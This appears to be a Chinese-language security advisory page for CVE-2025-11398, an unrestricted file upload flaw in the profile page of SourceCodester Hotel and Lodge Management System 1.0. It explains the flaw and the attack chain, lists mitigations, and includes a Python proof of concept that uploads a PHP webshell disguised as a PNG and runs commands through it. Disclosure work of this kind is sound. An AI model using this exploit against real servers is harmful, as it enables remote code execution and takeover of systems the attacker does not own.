IPBUF安全漏洞报告
English
CVE-2025-11398 CVSS 6.3 中危

CVE-2025-11398 SourceCodester酒店管理系统任意文件上传漏洞

披露日期: 2025-10-07

漏洞信息

漏洞编号
CVE-2025-11398
漏洞类型
任意文件上传(Unrestricted File Upload)
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Hotel and Lodge Management System

相关标签

任意文件上传Unrestricted File Upload远程代码执行RCESourceCodesterHotel and Lodge Management SystemPHPWeb应用漏洞CVE-2025-11398中危漏洞

漏洞概述

CVE-2025-11398是SourceCodester Hotel and Lodge Management System 1.0版本中存在的一个安全漏洞。该漏洞位于系统的Profile Page(个人资料页面)组件中的/profile.php文件,具体涉及对image参数的处理逻辑存在缺陷。攻击者可以通过精心构造的请求,对该参数进行恶意操控,从而实现不受限制的文件上传操作。

该漏洞的CVSS 3.1评分为6.3分,属于中危级别。从攻击向量来看,该漏洞可以通过网络远程利用(AV:N),攻击复杂度较低(AC:L),仅需要低权限认证(PR:L),无需用户交互(UI:N)。在影响方面,该漏洞对机密性、完整性和可用性均产生低级别影响(C:L/I:L/A:L),表明攻击者可以利用该漏洞上传恶意文件到服务器,进而可能导致远程代码执行、网站被篡改或服务器被完全控制等严重后果。

该漏洞的利用代码已公开发布,这大大增加了其被恶意利用的风险。SourceCodester作为一款开源的酒店和旅馆管理系统,广泛应用于中小型酒店业务管理场景中,因此该漏洞可能影响大量部署该系统的酒店和旅馆企业。鉴于该漏洞的利用门槛较低且PoC已公开,系统管理员应及时采取修复措施以防止潜在的安全威胁。

技术细节

该漏洞的核心问题在于SourceCodester Hotel and Lodge Management System 1.0的/profile.php文件中,对用户上传的头像(image参数)处理逻辑缺乏充分的安全验证。

**漏洞原理:**
在Web应用程序中,文件上传功能是常见的功能模块,但如果开发者未对上传文件的类型、扩展名、内容进行严格校验,攻击者就可以上传恶意脚本文件(如PHP、ASP、JSP等)到服务器,从而获得服务器执行权限。

**具体技术细节:**
1. 攻击者首先需要拥有一个有效的低权限账户(PR:L),通过正常注册或获取凭证获得登录权限。
2. 登录后,攻击者访问Profile Page(个人资料页面),定位到头像上传功能。
3. 攻击者构造一个包含恶意PHP代码的图片文件(如将PHP代码嵌入到合法的图片文件头部),并通过image参数提交上传请求。
4. 由于服务器端未对上传文件的MIME类型、扩展名或文件内容进行严格校验,恶意文件被成功上传到服务器可访问的目录中。
5. 攻击者通过浏览器直接访问上传的恶意文件,服务器解析并执行其中的PHP代码,从而实现远程代码执行(RCE)。

**利用条件:**
- 需要有效的低权限账户凭证
- 需要能够通过网络访问目标系统的/profile.php页面
- 上传的恶意文件需要能够通过Web服务器直接访问

攻击链分析

STEP 1
步骤1:获取凭证
攻击者通过注册功能或社工手段获取一个有效的低权限用户账户,用于登录系统。
STEP 2
步骤2:登录系统
使用获取的凭证登录SourceCodester Hotel and Lodge Management System,建立认证会话。
STEP 3
步骤3:访问个人资料页面
登录后导航至Profile Page(/profile.php),定位到头像上传功能模块。
STEP 4
步骤4:构造恶意文件
创建一个包含PHP webshell代码的文件,并将其伪装成合法的图片格式(如在文件头部添加PNG魔术字节)。
STEP 5
步骤5:上传恶意文件
通过image参数提交上传请求,利用服务器缺乏文件类型校验的缺陷,将恶意PHP文件上传至服务器。
STEP 6
步骤6:执行恶意代码
通过浏览器直接访问上传的恶意文件,触发服务器执行其中的PHP代码,实现远程命令执行。
STEP 7
步骤7:服务器控制
获得服务器控制权限后,攻击者可进一步提权、窃取数据、安装后门或进行内网渗透。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11398 - SourceCodester Hotel and Lodge Management System 1.0 # Unrestricted File Upload Vulnerability in /profile.php # PoC for exploiting the image upload functionality import requests # Target configuration TARGET_URL = "http://target-server.com" LOGIN_URL = f"{TARGET_URL}/login.php" PROFILE_URL = f"{TARGET_URL}/profile.php" UPLOAD_URL = f"{TARGET_URL}/profile.php" # Attacker credentials (low privilege account required) USERNAME = "attacker_user" PASSWORD = "attacker_password" # Create a session to maintain cookies session = requests.Session() # Step 1: Login to obtain authentication login_data = { "username": USERNAME, "password": PASSWORD, "login": "submit" } session.post(LOGIN_URL, data=login_data) # Step 2: Create a malicious PHP file disguised as an image # The file contains a valid image header followed by PHP code malicious_content = b"""\x89PNG\r\n\x1a\n<?php echo "Hacked!"; system($_GET['cmd']); ?>""" files = { "image": ("shell.php", malicious_content, "image/png") } # Step 3: Upload the malicious file via the profile page upload_data = { "update": "Update" } response = session.post(UPLOAD_URL, files=files, data=upload_data) # Step 4: Access the uploaded shell to execute commands # Common upload paths: /uploads/, /images/, /img/ shell_url = f"{TARGET_URL}/uploads/shell.php?cmd=id" shell_response = session.get(shell_url) print(f"Shell response: {shell_response.text}")

影响范围

SourceCodester Hotel and Lodge Management System 1.0

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)限制/profile.php文件的上传功能,仅允许经过严格审核的管理员使用;2)在Web服务器配置中,禁止上传目录的脚本执行权限;3)部署WAF规则,拦截包含可疑文件扩展名(如.php、.asp、.jsp等)的上传请求;4)监控上传目录的文件变化,及时发现异常文件;5)对所有上传文件进行病毒和恶意代码扫描;6)加强账户管理,定期审查低权限账户的异常活动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表